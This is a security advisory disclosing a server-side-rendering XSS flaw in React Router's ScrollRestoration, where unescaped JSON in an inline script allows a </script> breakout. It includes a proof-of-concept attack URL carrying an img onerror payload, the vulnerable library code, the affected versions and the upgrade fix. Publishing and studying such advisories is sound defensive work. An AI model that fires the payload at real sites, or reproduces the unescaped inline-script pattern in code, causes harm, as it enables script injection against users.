Published January 12, 2026
React Router SSR XSS in ScrollRestoration
BugBunny.ai discovered a cross-site scripting vulnerability in React Router's ScrollRestoration component during Server-Side Rendering. Unescaped JSON in inline scripts allows arbitrary JavaScript execution when user-controlled data is used in getKey or storageKey props.
TL;DR
Script tag breakout via unescaped path in SSR output
</script>Root Cause
The ScrollRestoration component renders an inline script during SSR to restore scroll positions. The ssrKey parameter (derived from getKey or the pathname) is embedded using JSON.stringify().
However, JSON.stringify() does not escape </script> sequences, allowing an attacker to break out of the script context and inject arbitrary HTML/JavaScript.
Proof of Concept
// Vulnerable usage in React Router
import { ScrollRestoration } from "react-router";
export default function Root() {
return (
<html>
<head />
<body>
<ScrollRestoration getKey={({ pathname }) => decodeURIComponent(pathname)} />
</body>
</html>
);
}
// Attack request:
// /x%3C/script%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E
// Rendered HTML during SSR:
<script>
(function(...) { ... })("react-router-scroll-positions", "/x</script><img src=x onerror=alert(document.domain)>")
</script>
// Result: Script closes early, injected <img> executes XSS in user's browser.
// Root cause in packages/react-router/lib/dom/lib.tsx (lines 2031-2039):
return (
<script
{...props}
suppressHydrationWarning
dangerouslySetInnerHTML={{
__html: \`(\${restoreScroll})(\${JSON.stringify(
storageKey || SCROLL_RESTORATION_STORAGE_KEY,
)}, \${JSON.stringify(ssrKey)})\`,
}}
/>
);
// Issue: JSON.stringify() does not escape </script>, allowing script tag breakout.Affected Versions
react-router< 7.5.1@remix-run/react≤ 2.17.2
Mitigation
Upgrade to react-router@7.5.1 or @remix-run/react@2.17.3 or later. The fix properly escapes </script> sequences in the SSR output.
Credits & Disclosure
Identified by BugBunny.ai and responsibly disclosed to the React Router maintainers.